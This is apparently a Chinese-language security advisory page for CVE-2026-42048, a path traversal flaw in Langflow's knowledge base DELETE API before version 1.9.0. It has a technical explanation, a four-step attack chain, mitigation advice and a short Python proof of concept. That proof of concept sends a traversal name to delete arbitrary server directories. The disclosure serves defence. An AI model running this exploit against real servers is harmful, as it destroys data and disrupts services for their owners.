IPBUF安全漏洞报告
English
CVE-2026-42048 CVSS 9.6 严重

CVE-2026-42048 Langflow路径遍历漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42048
漏洞类型
路径遍历
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

路径遍历LangflowCWE-22任意文件删除CVSS-9.6

漏洞概述

Langflow是一个用于构建和部署AI智能体和工作流的工具。在1.9.0版本之前,Langflow的知识库API(DELETE /api/v1/knowledge_bases)存在路径遍历漏洞。由于系统未对用户提供的知识库名称进行适当的清理或边界验证,直接将其拼接到文件路径中,导致经过身份验证的攻击者可以利用该缺陷删除服务器文件系统上的任意目录。该漏洞可能导致数据丢失和服务中断,目前已于1.9.0版本中修复。

技术细节

该漏洞的核心在于Langflow处理DELETE /api/v1/knowledge_bases请求时,直接将用户可控的“知识库名称”参数与基础文件路径进行字符串拼接,缺乏必要的规范化处理。攻击者只需经过身份验证(PR:L),即可在请求中插入路径遍历字符(如“../”)。例如,若攻击者提交名称为“../../../etc/config”的知识库删除请求,后端逻辑将其解析为服务器根目录下的文件路径并执行删除操作。这种利用方式无需用户交互(UI:N),且影响范围可能波及整个服务器文件系统(S:C),造成高完整性(I:H)和高可用性(A:H)的破坏。

攻击链分析

STEP 1
1. 信息收集
攻击者发现目标服务器正在运行Langflow服务,并确认其版本低于1.9.0。
STEP 2
2. 获取凭证
攻击者注册或获取一个低权限账户,获得访问API的有效Token或会话ID。
STEP 3
3. 发起攻击
攻击者构造包含路径遍历序列(如../)的恶意HTTP DELETE请求,发送至/api/v1/knowledge_bases端点。
STEP 4
4. 执行删除
服务器后端未经验证直接处理路径,导致攻击者指定的服务器任意目录被删除,造成数据丢失或系统瘫痪。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-host:port/api/v1/knowledge_bases" # Headers with authentication token (Low privilege required) headers = { "Authorization": "Bearer <YOUR_ACCESS_TOKEN>", "Content-Type": "application/json" } # Malicious payload using path traversal to delete a directory # The payload attempts to delete a folder named 'critical_data' located one level up from the expected directory payload = { "name": "../critical_data" } try: response = requests.delete(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Directory deletion requested.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Langflow < 1.9.0

防御指南

临时缓解措施
若无法立即升级,建议在防火墙或反向代理层限制对/api/v1/knowledge_bases接口的访问权限,仅允许受信任的IP地址或管理员账户调用,或暂时禁用知识库管理功能以防止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表